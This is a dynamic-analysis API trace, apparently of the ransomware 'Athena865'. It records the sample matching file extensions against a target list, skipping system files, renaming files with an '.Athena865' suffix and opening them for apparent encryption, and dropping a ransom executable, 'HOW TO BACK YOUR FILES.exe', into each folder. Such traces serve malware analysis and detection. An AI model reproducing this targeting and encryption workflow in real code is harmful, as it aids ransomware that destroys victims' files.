[0051.192] lstrcmpiW (lpString1="TCACHEV1.DAT", lpString2="flexolibrary") returned 1 [0051.192] lstrlenW (lpString="fm5") returned 3 [0051.192] lstrcmpiW (lpString1="DAT", lpString2="fm5") returned -1 [0051.192] lstrlenW (lpString="fmp") returned 3 [0051.192] lstrcmpiW (lpString1="DAT", lpString2="fmp") returned -1 [0051.192] lstrlenW (lpString="fmp12") returned 5 [0051.193] lstrcmpiW (lpString1="1.DAT", lpString2="fmp12") returned -1 [0051.193] lstrlenW (lpString="fmpsl") returned 5 [0051.193] lstrcmpiW (lpString1="1.DAT", lpString2="fmpsl") returned -1 [0051.193] lstrlenW (lpString="fol") returned 3 [0051.193] lstrcmpiW (lpString1="DAT", lpString2="fol") returned -1 [0051.193] lstrlenW (lpString="fp3") returned 3 [0051.193] lstrcmpiW (lpString1="DAT", lpString2="fp3") returned -1 [0051.193] lstrlenW (lpString="fp4") returned 3 [0051.193] lstrcmpiW (lpString1="DAT", lpString2="fp4") returned -1 [0051.193] lstrlenW (lpString="fp5") returned 3 [0051.193] lstrcmpiW (lpString1="DAT", lpString2="fp5") returned -1 [0051.193] lstrlenW (lpString="fp7") returned 3 [0051.193] lstrcmpiW (lpString1="DAT", lpString2="fp7") returned -1 [0051.193] lstrlenW (lpString="fpt") returned 3 [0051.193] lstrcmpiW (lpString1="DAT", lpString2="fpt") returned -1 [0051.193] lstrlenW (lpString="frm") returned 3 [0051.193] lstrcmpiW (lpString1="DAT", lpString2="frm") returned -1 [0051.193] lstrlenW (lpString="gdb") returned 3 [0051.193] lstrcmpiW (lpString1="DAT", lpString2="gdb") returned -1 [0051.193] lstrlenW (lpString="gdb") returned 3 [0051.193] lstrcmpiW (lpString1="DAT", lpString2="gdb") returned -1 [0051.193] lstrlenW (lpString="grdb") returned 4 [0051.193] lstrcmpiW (lpString1=".DAT", lpString2="grdb") returned -1 [0051.193] lstrlenW (lpString="gwi") returned 3 [0051.193] lstrcmpiW (lpString1="DAT", lpString2="gwi") returned -1 [0051.193] lstrlenW (lpString="hdb") returned 3 [0051.193] lstrcmpiW (lpString1="DAT", lpString2="hdb") returned -1 [0051.193] lstrlenW (lpString="his") returned 3 [0051.193] lstrcmpiW (lpString1="DAT", lpString2="his") returned -1 [0051.193] lstrlenW (lpString="ib") returned 2 [0051.193] lstrcmpiW (lpString1="AT", lpString2="ib") returned -1 [0051.193] lstrlenW (lpString="idb") returned 3 [0051.193] lstrcmpiW (lpString1="DAT", lpString2="idb") returned -1 [0051.193] lstrlenW (lpString="ihx") returned 3 [0051.193] lstrcmpiW (lpString1="DAT", lpString2="ihx") returned -1 [0051.194] lstrlenW (lpString="itdb") returned 4 [0051.194] lstrcmpiW (lpString1=".DAT", lpString2="itdb") returned -1 [0051.194] lstrlenW (lpString="itw") returned 3 [0051.194] lstrcmpiW (lpString1="DAT", lpString2="itw") returned -1 [0051.194] lstrlenW (lpString="jet") returned 3 [0051.194] lstrcmpiW (lpString1="DAT", lpString2="jet") returned -1 [0051.194] lstrlenW (lpString="jtx") returned 3 [0051.194] lstrcmpiW (lpString1="DAT", lpString2="jtx") returned -1 [0051.194] lstrlenW (lpString="kdb") returned 3 [0051.194] lstrcmpiW (lpString1="DAT", lpString2="kdb") returned -1 [0051.194] lstrlenW (lpString="kexi") returned 4 [0051.194] lstrcmpiW (lpString1=".DAT", lpString2="kexi") returned -1 [0051.194] lstrlenW (lpString="kexic") returned 5 [0051.194] lstrcmpiW (lpString1="1.DAT", lpString2="kexic") returned -1 [0051.194] lstrlenW (lpString="kexis") returned 5 [0051.194] lstrcmpiW (lpString1="1.DAT", lpString2="kexis") returned -1 [0051.194] lstrlenW (lpString="lgc") returned 3 [0051.194] lstrcmpiW (lpString1="DAT", lpString2="lgc") returned -1 [0051.194] lstrlenW (lpString="lwx") returned 3 [0051.194] lstrcmpiW (lpString1="DAT", lpString2="lwx") returned -1 [0051.194] lstrlenW (lpString="maf") returned 3 [0051.194] lstrcmpiW (lpString1="DAT", lpString2="maf") returned -1 [0051.194] lstrlenW (lpString="maq") returned 3 [0051.194] lstrcmpiW (lpString1="DAT", lpString2="maq") returned -1 [0051.194] lstrlenW (lpString="mar") returned 3 [0051.194] lstrcmpiW (lpString1="DAT", lpString2="mar") returned -1 [0051.194] lstrlenW (lpString="marshal") returned 7 [0051.194] lstrcmpiW (lpString1="EV1.DAT", lpString2="marshal") returned -1 [0051.194] lstrlenW (lpString="mas") returned 3 [0051.194] lstrcmpiW (lpString1="DAT", lpString2="mas") returned -1 [0051.194] lstrlenW (lpString="mav") returned 3 [0051.194] lstrcmpiW (lpString1="DAT", lpString2="mav") returned -1 [0051.194] lstrlenW (lpString="maw") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="maw") returned -1 [0051.195] lstrlenW (lpString="mdbhtml") returned 7 [0051.195] lstrcmpiW (lpString1="EV1.DAT", lpString2="mdbhtml") returned -1 [0051.195] lstrlenW (lpString="mdn") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="mdn") returned -1 [0051.195] lstrlenW (lpString="mdt") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="mdt") returned -1 [0051.195] lstrlenW (lpString="mfd") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="mfd") returned -1 [0051.195] lstrlenW (lpString="mpd") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="mpd") returned -1 [0051.195] lstrlenW (lpString="mrg") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="mrg") returned -1 [0051.195] lstrlenW (lpString="mud") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="mud") returned -1 [0051.195] lstrlenW (lpString="mwb") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="mwb") returned -1 [0051.195] lstrlenW (lpString="myd") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="myd") returned -1 [0051.195] lstrlenW (lpString="ndf") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="ndf") returned -1 [0051.195] lstrlenW (lpString="nnt") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="nnt") returned -1 [0051.195] lstrlenW (lpString="nrmlib") returned 6 [0051.195] lstrcmpiW (lpString1="V1.DAT", lpString2="nrmlib") returned 1 [0051.195] lstrlenW (lpString="ns2") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="ns2") returned -1 [0051.195] lstrlenW (lpString="ns3") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="ns3") returned -1 [0051.195] lstrlenW (lpString="ns4") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="ns4") returned -1 [0051.195] lstrlenW (lpString="nsf") returned 3 [0051.195] lstrcmpiW (lpString1="DAT", lpString2="nsf") returned -1 [0051.195] lstrlenW (lpString="nv") returned 2 [0051.196] lstrcmpiW (lpString1="AT", lpString2="nv") returned -1 [0051.196] lstrlenW (lpString="nv2") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="nv2") returned -1 [0051.196] lstrlenW (lpString="nwdb") returned 4 [0051.196] lstrcmpiW (lpString1=".DAT", lpString2="nwdb") returned -1 [0051.196] lstrlenW (lpString="nyf") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="nyf") returned -1 [0051.196] lstrlenW (lpString="odb") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="odb") returned -1 [0051.196] lstrlenW (lpString="odb") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="odb") returned -1 [0051.196] lstrlenW (lpString="oqy") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="oqy") returned -1 [0051.196] lstrlenW (lpString="ora") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="ora") returned -1 [0051.196] lstrlenW (lpString="orx") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="orx") returned -1 [0051.196] lstrlenW (lpString="owc") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="owc") returned -1 [0051.196] lstrlenW (lpString="p96") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="p96") returned -1 [0051.196] lstrlenW (lpString="p97") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="p97") returned -1 [0051.196] lstrlenW (lpString="pan") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="pan") returned -1 [0051.196] lstrlenW (lpString="pdb") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="pdb") returned -1 [0051.196] lstrlenW (lpString="pdm") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="pdm") returned -1 [0051.196] lstrlenW (lpString="pnz") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="pnz") returned -1 [0051.196] lstrlenW (lpString="qry") returned 3 [0051.196] lstrcmpiW (lpString1="DAT", lpString2="qry") returned -1 [0051.196] lstrlenW (lpString="qvd") returned 3 [0051.197] lstrcmpiW (lpString1="DAT", lpString2="qvd") returned -1 [0051.197] lstrlenW (lpString="rbf") returned 3 [0051.197] lstrcmpiW (lpString1="DAT", lpString2="rbf") returned -1 [0051.197] lstrlenW (lpString="rctd") returned 4 [0051.197] lstrcmpiW (lpString1=".DAT", lpString2="rctd") returned -1 [0051.197] lstrlenW (lpString="rod") returned 3 [0051.197] lstrcmpiW (lpString1="DAT", lpString2="rod") returned -1 [0051.197] lstrlenW (lpString="rodx") returned 4 [0051.197] lstrcmpiW (lpString1=".DAT", lpString2="rodx") returned -1 [0051.197] lstrlenW (lpString="rpd") returned 3 [0051.197] lstrcmpiW (lpString1="DAT", lpString2="rpd") returned -1 [0051.197] lstrlenW (lpString="rsd") returned 3 [0051.197] lstrcmpiW (lpString1="DAT", lpString2="rsd") returned -1 [0051.197] lstrlenW (lpString="sas7bdat") returned 8 [0051.197] lstrcmpiW (lpString1="HEV1.DAT", lpString2="sas7bdat") returned -1 [0051.197] lstrlenW (lpString="sbf") returned 3 [0051.197] lstrcmpiW (lpString1="DAT", lpString2="sbf") returned -1 [0051.197] lstrlenW (lpString="scx") returned 3 [0051.197] lstrcmpiW (lpString1="DAT", lpString2="scx") returned -1 [0051.197] lstrlenW (lpString="sdb") returned 3 [0051.197] lstrcmpiW (lpString1="DAT", lpString2="sdb") returned -1 [0051.197] lstrlenW (lpString="sdc") returned 3 [0051.197] lstrcmpiW (lpString1="DAT", lpString2="sdc") returned -1 [0051.197] lstrlenW (lpString="sdf") returned 3 [0051.197] lstrcmpiW (lpString1="DAT", lpString2="sdf") returned -1 [0051.197] lstrlenW (lpString="sis") returned 3 [0051.197] lstrcmpiW (lpString1="DAT", lpString2="sis") returned -1 [0051.197] lstrlenW (lpString="spq") returned 3 [0051.197] lstrcmpiW (lpString1="DAT", lpString2="spq") returned -1 [0051.197] lstrlenW (lpString="te") returned 2 [0051.197] lstrcmpiW (lpString1="AT", lpString2="te") returned -1 [0051.197] lstrlenW (lpString="teacher") returned 7 [0051.197] lstrcmpiW (lpString1="EV1.DAT", lpString2="teacher") returned -1 [0051.197] lstrlenW (lpString="tmd") returned 3 [0051.197] lstrcmpiW (lpString1="DAT", lpString2="tmd") returned -1 [0051.198] lstrlenW (lpString="tps") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="tps") returned -1 [0051.198] lstrlenW (lpString="trc") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="trc") returned -1 [0051.198] lstrlenW (lpString="trc") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="trc") returned -1 [0051.198] lstrlenW (lpString="trm") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="trm") returned -1 [0051.198] lstrlenW (lpString="udb") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="udb") returned -1 [0051.198] lstrlenW (lpString="udl") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="udl") returned -1 [0051.198] lstrlenW (lpString="usr") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="usr") returned -1 [0051.198] lstrlenW (lpString="v12") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="v12") returned -1 [0051.198] lstrlenW (lpString="vis") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="vis") returned -1 [0051.198] lstrlenW (lpString="vpd") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="vpd") returned -1 [0051.198] lstrlenW (lpString="vvv") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="vvv") returned -1 [0051.198] lstrlenW (lpString="wdb") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="wdb") returned -1 [0051.198] lstrlenW (lpString="wmdb") returned 4 [0051.198] lstrcmpiW (lpString1=".DAT", lpString2="wmdb") returned -1 [0051.198] lstrlenW (lpString="wrk") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="wrk") returned -1 [0051.198] lstrlenW (lpString="xdb") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="xdb") returned -1 [0051.198] lstrlenW (lpString="xld") returned 3 [0051.198] lstrcmpiW (lpString1="DAT", lpString2="xld") returned -1 [0051.198] lstrlenW (lpString="xmlff") returned 5 [0051.199] lstrcmpiW (lpString1="1.DAT", lpString2="xmlff") returned -1 [0051.199] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\GDIPFONTCACHEV1.DAT.Athena865") returned 91 [0051.199] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\gdipfontcachev1.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\GDIPFONTCACHEV1.DAT.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\gdipfontcachev1.dat.athena865"), dwFlags=0x1) returned 1 [0051.200] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\GDIPFONTCACHEV1.DAT.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\gdipfontcachev1.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0051.200] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=108824) returned 1 [0051.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.200] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.201] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.201] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.201] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ac20, lpName=0x0) returned 0x17c [0051.203] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ac20) returned 0x100000 [0051.209] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.209] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.209] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50b840 [0051.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b840 | out: hHeap=0x4f0000) returned 1 [0051.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b840 [0051.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b840 | out: hHeap=0x4f0000) returned 1 [0051.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.210] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.211] CloseHandle (hObject=0x17c) returned 1 [0051.211] CloseHandle (hObject=0x154) returned 1 [0051.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.212] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0051.212] lstrcmpiW (lpString1="Google", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.212] lstrcmpiW (lpString1="Google", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.212] lstrcmpiW (lpString1="Google", lpString2=".") returned 1 [0051.212] lstrcmpiW (lpString1="Google", lpString2="..") returned 1 [0051.212] lstrcmpiW (lpString1="Google", lpString2="windows") returned -1 [0051.212] lstrcmpiW (lpString1="Google", lpString2="bootmgr") returned 1 [0051.212] lstrcmpiW (lpString1="Google", lpString2="temp") returned -1 [0051.212] lstrcmpiW (lpString1="Google", lpString2="pagefile.sys") returned -1 [0051.212] lstrcmpiW (lpString1="Google", lpString2="boot") returned 1 [0051.212] lstrcmpiW (lpString1="Google", lpString2="ids.txt") returned -1 [0051.212] lstrcmpiW (lpString1="Google", lpString2="ntuser.dat") returned -1 [0051.212] lstrcmpiW (lpString1="Google", lpString2="perflogs") returned -1 [0051.212] lstrcmpiW (lpString1="Google", lpString2="MSBuild") returned -1 [0051.212] lstrlenW (lpString="Google") returned 6 [0051.212] lstrcpyW (in: lpString1=0x241e8c4, lpString2="Google" | out: lpString1="Google") returned="Google" [0051.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b750 [0051.212] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8a) returned 0x50b840 [0051.212] lstrcatW (in: lpString1="Google", lpString2="\\" | out: lpString1="Google\\") returned="Google\\" [0051.212] lstrcatW (in: lpString1="Google\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Google\\HOW TO BACK YOUR FILES.exe") returned="Google\\HOW TO BACK YOUR FILES.exe" [0051.212] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Google\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\google\\how to back your files.exe"), bFailIfExists=1) returned 1 [0051.215] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0051.215] lstrcmpiW (lpString1="History", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.215] lstrcmpiW (lpString1="History", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.215] lstrcmpiW (lpString1="History", lpString2=".") returned 1 [0051.215] lstrcmpiW (lpString1="History", lpString2="..") returned 1 [0051.215] lstrcmpiW (lpString1="History", lpString2="windows") returned -1 [0051.215] lstrcmpiW (lpString1="History", lpString2="bootmgr") returned 1 [0051.215] lstrcmpiW (lpString1="History", lpString2="temp") returned -1 [0051.215] lstrcmpiW (lpString1="History", lpString2="pagefile.sys") returned -1 [0051.215] lstrcmpiW (lpString1="History", lpString2="boot") returned 1 [0051.215] lstrcmpiW (lpString1="History", lpString2="ids.txt") returned -1 [0051.215] lstrcmpiW (lpString1="History", lpString2="ntuser.dat") returned -1 [0051.215] lstrcmpiW (lpString1="History", lpString2="perflogs") returned -1 [0051.215] lstrcmpiW (lpString1="History", lpString2="MSBuild") returned -1 [0051.215] lstrlenW (lpString="History") returned 7 [0051.215] lstrcpyW (in: lpString1=0x241e8c4, lpString2="History" | out: lpString1="History") returned="History" [0051.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b768 [0051.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x50b8d8 [0051.215] lstrcatW (in: lpString1="History", lpString2="\\" | out: lpString1="History\\") returned="History\\" [0051.215] lstrcatW (in: lpString1="History\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History\\HOW TO BACK YOUR FILES.exe") returned="History\\HOW TO BACK YOUR FILES.exe" [0051.215] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\history\\how to back your files.exe"), bFailIfExists=1) returned 1 [0051.217] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbce5dc00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0051.218] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0051.218] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126775, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2=".") returned 1 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2="..") returned 1 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2="windows") returned -1 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2="bootmgr") returned 1 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2="temp") returned -1 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2="pagefile.sys") returned -1 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2="boot") returned 1 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2="ids.txt") returned -1 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2="ntuser.dat") returned -1 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2="perflogs") returned -1 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2="MSBuild") returned -1 [0051.218] lstrlenW (lpString="IconCache.db") returned 12 [0051.218] lstrcpyW (in: lpString1=0x241e8c4, lpString2="IconCache.db" | out: lpString1="IconCache.db") returned="IconCache.db" [0051.218] lstrlenW (lpString="IconCache.db") returned 12 [0051.218] lstrlenW (lpString="Athena865") returned 9 [0051.218] lstrcmpiW (lpString1="nCache.db", lpString2="Athena865") returned 1 [0051.218] lstrlenW (lpString=".dll") returned 4 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2=".dll") returned 1 [0051.218] lstrlenW (lpString=".lnk") returned 4 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2=".lnk") returned 1 [0051.218] lstrlenW (lpString=".ini") returned 4 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2=".ini") returned 1 [0051.218] lstrlenW (lpString=".sys") returned 4 [0051.218] lstrcmpiW (lpString1="IconCache.db", lpString2=".sys") returned 1 [0051.218] lstrlenW (lpString="IconCache.db") returned 12 [0051.218] lstrlenW (lpString="bak") returned 3 [0051.218] lstrcmpiW (lpString1=".db", lpString2="bak") returned -1 [0051.218] lstrlenW (lpString="ba_") returned 3 [0051.218] lstrcmpiW (lpString1=".db", lpString2="ba_") returned -1 [0051.219] lstrlenW (lpString="dbb") returned 3 [0051.219] lstrcmpiW (lpString1=".db", lpString2="dbb") returned -1 [0051.219] lstrlenW (lpString="vmdk") returned 4 [0051.219] lstrcmpiW (lpString1="e.db", lpString2="vmdk") returned -1 [0051.219] lstrlenW (lpString="rar") returned 3 [0051.219] lstrcmpiW (lpString1=".db", lpString2="rar") returned -1 [0051.219] lstrlenW (lpString="zip") returned 3 [0051.219] lstrcmpiW (lpString1=".db", lpString2="zip") returned -1 [0051.219] lstrlenW (lpString="tgz") returned 3 [0051.219] lstrcmpiW (lpString1=".db", lpString2="tgz") returned -1 [0051.219] lstrlenW (lpString="vbox") returned 4 [0051.219] lstrcmpiW (lpString1="e.db", lpString2="vbox") returned -1 [0051.219] lstrlenW (lpString="vdi") returned 3 [0051.219] lstrcmpiW (lpString1=".db", lpString2="vdi") returned -1 [0051.219] lstrlenW (lpString="vhd") returned 3 [0051.219] lstrcmpiW (lpString1=".db", lpString2="vhd") returned -1 [0051.219] lstrlenW (lpString="vhdx") returned 4 [0051.219] lstrcmpiW (lpString1="e.db", lpString2="vhdx") returned -1 [0051.219] lstrlenW (lpString="avhd") returned 4 [0051.219] lstrcmpiW (lpString1="e.db", lpString2="avhd") returned 1 [0051.219] lstrlenW (lpString="db") returned 2 [0051.219] lstrcmpiW (lpString1="db", lpString2="db") returned 0 [0051.219] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\IconCache.db.Athena865") returned 84 [0051.219] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\iconcache.db"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\IconCache.db.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\iconcache.db.athena865"), dwFlags=0x1) returned 1 [0051.220] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\IconCache.db.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\iconcache.db.athena865"), 